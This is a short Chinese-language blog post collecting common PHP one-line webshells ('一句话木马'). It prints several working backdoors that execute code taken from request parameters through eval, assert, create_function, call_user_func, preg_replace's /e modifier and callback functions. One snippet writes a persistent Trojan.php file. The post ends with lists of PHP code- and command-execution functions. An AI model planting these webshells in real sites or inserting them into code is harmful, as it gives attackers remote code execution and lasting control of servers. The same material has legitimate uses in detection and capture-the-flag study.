PHP常用一句话木马整理

eval函数

1
2
3
<?php
@eval($_REQUEST['test']);
?>

assert 函数

1
<?php assert(@$_POST['test']); ?>

function

1
2
3
4
5
6
<?php
function test1($code){
$code($_REQUEST['test']);
}
test1(assert);
?>

create_function函数

1
2
3
4
<?php 
$fun = create_function('',$_POST['test']);
$fun();
?>

call_user_func函数

1
2
3
<?php
@call_user_func(assert,$_POST['test']);
?>

preg_replace 函数

如果在表达式末尾加上e,则可以执行代码

1
2
3
<?php 
@preg_replace("/abcde/e", $_POST['test'], "abcdefg");
?>

file_put_content函数

1
2
3
4
<?php
$test='<?php $a=$_POST["test"];assert($a); ?>';
file_put_contents("Trojan.php", $test);
?>

回调函数

1
2
3
<?php
forward_static_call_array(assert,array($_POST[x]));
?>

常用代码执行函数

  • assert()
  • array_map()
  • call_user_func_array()
  • array_filter()
  • uasort()

常用命令执行函数

  • system()
  • passthru()
  • exec()
  • pcntl_exec()
  • shell_exec()
  • popen()
  • proc_opne()
  • ``
  • $()

PHP常用一句话木马整理
https://blog.lixey.top/posts/90b3b820/
Author
Lixiney
Posted on
August 18, 2025
Licensed under